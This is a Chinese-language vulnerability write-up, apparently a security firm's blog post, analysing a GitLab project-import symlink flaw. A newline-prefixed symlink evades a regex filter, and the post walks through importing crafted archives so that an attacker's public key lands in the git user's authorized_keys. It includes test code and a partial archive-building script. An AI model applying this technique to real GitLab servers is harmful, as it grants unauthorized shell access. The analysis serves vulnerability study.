
漏洞公告

影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7
漏洞分析
以版本11.0.3为例。根据版本源码对比。
从CHANGELOG.md中得知为Fix symlink vulnerability in project import
主要修改的代码文件为lib/gitlab/import_export/file_importer.rb

主要关注一下extracted_files。
当我们import一个项目时,会进入到file_import.rb。然后调用第17行的:
def import
mkdir_p(@shared.export_path)
remove_symlinks!
wait_for_archived_file do
decompress_archive
end
rescue => e
@shared.error(e)
false
ensure
remove_symlinks!
end
remove_symlinks用于删除导入文件中存在的符号链接。此前gitlab就因为符号链接的问题爆出过多个RCE问题,因此在这里做了检查:
def remove_symlinks!
extracted_files.each do |path|
FileUtils.rm(path) if File.lstat(path).symlink?
end
true
end
而extracted_files定义在61行,这个方法用于列出解压出来的所有文件。
def extracted_files
Dir.glob("#{@shared.export_path}/**/*", File::FNM_DOTMATCH).reject { |f| f =~ %r{.*/\.{1,2}$} }
end
在ruby中,关于正则表达式的符号定义如下:

也就是说%r{.*/\.{1,2}$}这个正则表达式最后的$只能匹配到一行的末尾(Matches end of line),而不是整个字符串的末尾(Matches end of string)。
根据POSIX标准,对于文件名(filename)除了slash character/和null byte NULL外,其余字符均可以:

所以只要创建一个名字以\n开头的符号链接文件,就无法被extracted_files列出。
回到版本源码对比,在测试文件file_importer_spec.rb里:

因此构建测试环境:
require "tmpdir"
puts "The temp dir is: #{Dir.tmpdir}"
export_path="#{Dir.tmpdir}/file_importer"
evil_symlink_file="#{export_path}/.\nevil"
valid_file="#{export_path}/valid.json"
FileUtils.mkdir_p("#{export_path}/subfolder/")
FileUtils.touch(valid_file)
FileUtils.ln_s(valid_file, evil_symlink_file)

可以看到原本的正则表达式是无法检测到\nevil文件的:

利用过程
提供一下压缩包生成脚本:
import os
import shutil
def step_one():
os.system("tar -czf ../step1.tar.gz . && rm -r uploads && mkdir uploads")
def step_two():
if __name__ == '__main__':

key.pub里保存公钥。其余文件见文末附件压缩包。
创建项目project ,选择Import project后选择Import an exported GitLab project

待导入成功后,如下图:

注意此时的项目名为test,同时右下角有一个Remove project,点击删除掉project,然而此时在gitlab的目录下,test还没有被删除。
新建一个project,仍然采用Import an exported GitLab project,然后上传第二个压缩包

第二个压缩包的内容如下,\nevil是目录名
VERSION
project.json
uploads/
uploads/.\nevil/
uploads/.\nevil/.ssh/
uploads/.\nevil/.ssh/authorized_keys
gitlab在解压第二个压缩包时,会尝试往目录\nevil里写入.ssh/authorized_keys,而由于上一步的符号链接\nevil没有删除,所以实际写入的目录是/var/opt/gitlab/.ssh/authorized_keys

可以看到authorized_keys已经被写入了公钥。此后用用户名git和公钥对应的私钥直接ssh连接服务器即可。
关于我们:
河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。
关注镌远科技,关注网络安全!
河北分公司:河北镌远网络科技有限公司
地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层
总公司:北京冠程科技有限公司
地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层
实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心


欢迎扫描关注我们,及时了解更多关于网络安全相关知识

